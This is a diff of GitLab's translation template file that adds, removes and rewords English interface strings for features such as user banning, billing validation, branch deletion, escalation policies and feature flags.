@@ -2598,6 +2653,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2610,6 +2668,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2655,9 +2716,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2695,9 +2753,6 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3067,9 +3122,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3172,6 +3224,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3385,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3478,9 +3536,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3550,7 +3605,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4019,6 +4074,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4049,16 +4107,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4634,7 +4689,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4703,6 +4758,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4859,6 +4917,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4877,6 +4938,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -4892,6 +4956,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -4910,6 +4977,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -4925,6 +4995,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -4937,6 +5028,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -4946,6 +5040,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5171,6 +5271,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5183,6 +5286,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5192,6 +5298,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5213,12 +5325,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5252,6 +5370,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5264,6 +5385,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5333,6 +5466,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5345,9 +5481,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5414,9 +5556,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5465,15 +5604,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5481,6 +5620,9 @@ msgid "CICDAnalytics|Release"
msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6174,7 +6316,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6558,72 +6700,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6786,6 +6862,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6828,12 +6910,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -6996,6 +7072,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7080,9 +7159,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7143,7 +7219,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7239,9 +7315,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7254,9 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7353,9 +7423,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7494,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7509,9 +7573,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7785,6 +7846,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -7927,6 +7997,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8065,9 +8138,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8188,6 +8258,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8251,6 +8324,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8406,6 +8482,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9085,9 +9164,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9118,9 +9194,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9172,6 +9245,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9223,6 +9299,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9256,6 +9335,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9583,27 +9665,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9822,9 +9883,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10044,9 +10111,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10411,6 +10475,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11120,22 +11187,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11144,6 +11217,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11171,6 +11247,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11192,6 +11271,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11204,21 +11286,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11285,15 +11379,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11321,6 +11415,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11547,7 +11644,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11562,6 +11659,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11571,9 +11686,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11688,9 +11800,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11745,6 +11854,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -11874,13 +11986,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -11958,6 +12070,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12003,9 +12118,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12027,9 +12139,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12699,9 +12808,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12714,12 +12820,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12828,6 +12940,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -12889,7 +13049,8 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13531,6 +13692,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13555,9 +13719,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13585,9 +13746,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13606,9 +13764,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13651,9 +13806,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13669,7 +13821,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -13919,6 +14071,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
